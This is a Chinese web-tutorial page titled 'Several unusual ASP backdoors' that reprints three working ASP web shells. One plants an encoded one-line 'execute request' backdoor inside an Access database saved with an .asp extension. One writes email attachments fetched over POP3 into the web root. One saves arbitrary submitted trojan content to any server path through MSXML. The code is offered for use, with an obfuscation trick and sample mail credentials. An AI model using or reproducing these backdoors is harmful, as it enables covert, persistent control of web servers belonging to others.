当前位置: 首页 > 图文教程 > 网络编程 > ASP > 几种另类的ASP后门

ASP
ASP基础讲座(下)
解决IIS5 HTTP500内部错误
ASP 3.0高级编程(四十六)
ASP 3.0高级编程(四十五)
ASP 3.0高级编程(四十四)
ASP 3.0高级编程(四十三)
ASP 3.0高级编程(四十二)
ASP 3.0高级编程(四十一)
ASP 3.0高级编程(三十九)
ASP 3.0高级编程(三十八)
ASP 3.0高级编程(三十七)
ASP 3.0高级编程(三十六)
ASP 3.0高级编程(三十五)
ASP 3.0高级编程(三十四)
ASP 3.0高级编程(三十三)
ASP 3.0高级编程(三十二)
ASP 3.0高级编程(三十一)
ASP错误代码说明
jscript错误代码及相应解释大全
ASP错误处理

几种另类的ASP后门


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 84 ::
收藏到网摘: n/a

asp后门 另类的ASP后门 <%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)
set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 创建成功<br> "
else
Response.Write "创建失败,原因: " & err.description
Response.End
end if
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile
sql="CREATE TABLE fdata([data] Memo)"
conn.execute(sql)
Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="┼攠數畣整爠煥敵瑳∨≮┩>" '(注释记得去掉!一句话后门 execute request(“n”))
rs.update

%>
用Jmail写文件进硬盘

<%
'codz by kEvin1986 [S4T]
User=Request.Form("User")
Pass=Request.Form("Pass")
Popserver=Request.Form("Popserver")
if User<>"" and Pass<>"" and Popserver<>"" then
Set objmail = CreateObject( "JMail.POP3" )
objmail.Connect User, Pass, Popserver
set objmsg=CreateObject("jmail.message")
Set objmsg = objmail.Messages.item(1)
separator = ", "
response.write "Attachment Name is: " & SaveAtta & "<br>"
objmail.Disconnect
End if
Function SaveAtta()
Set Attachments = objmsg.Attachments
separator = ", "
response.write "The size of this Attachment is: " & objmsg.size & "<br>"
For i = 0 To Attachments.Count - 1
If i = Attachments.Count - 1 Then
separator = ""
End If
Set Theatta = Attachments(i)
response.write Theatta.Name
Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.Name)
Response.write "Oh!Hey Guy.....That's OK!"
Next
End Function
%>
<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html>
利用xml写马

<%on error resume next%>
<form id="form1" name="form1" method="post" action=''''>
<p>木马内容</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
<p>路径</p>
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="提交" /></p></form>
<p><%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>
<%
dim xmlString
dim xmlDoc
xmlString= Request("flashboy")
set xmlDoc = server.createObject("Msxml2.DOMDocument")
xmlDoc.loadXml(xmlString)
f=Request("textfield")
xmlDoc.save(f)
set xmlDoc=nothing
%>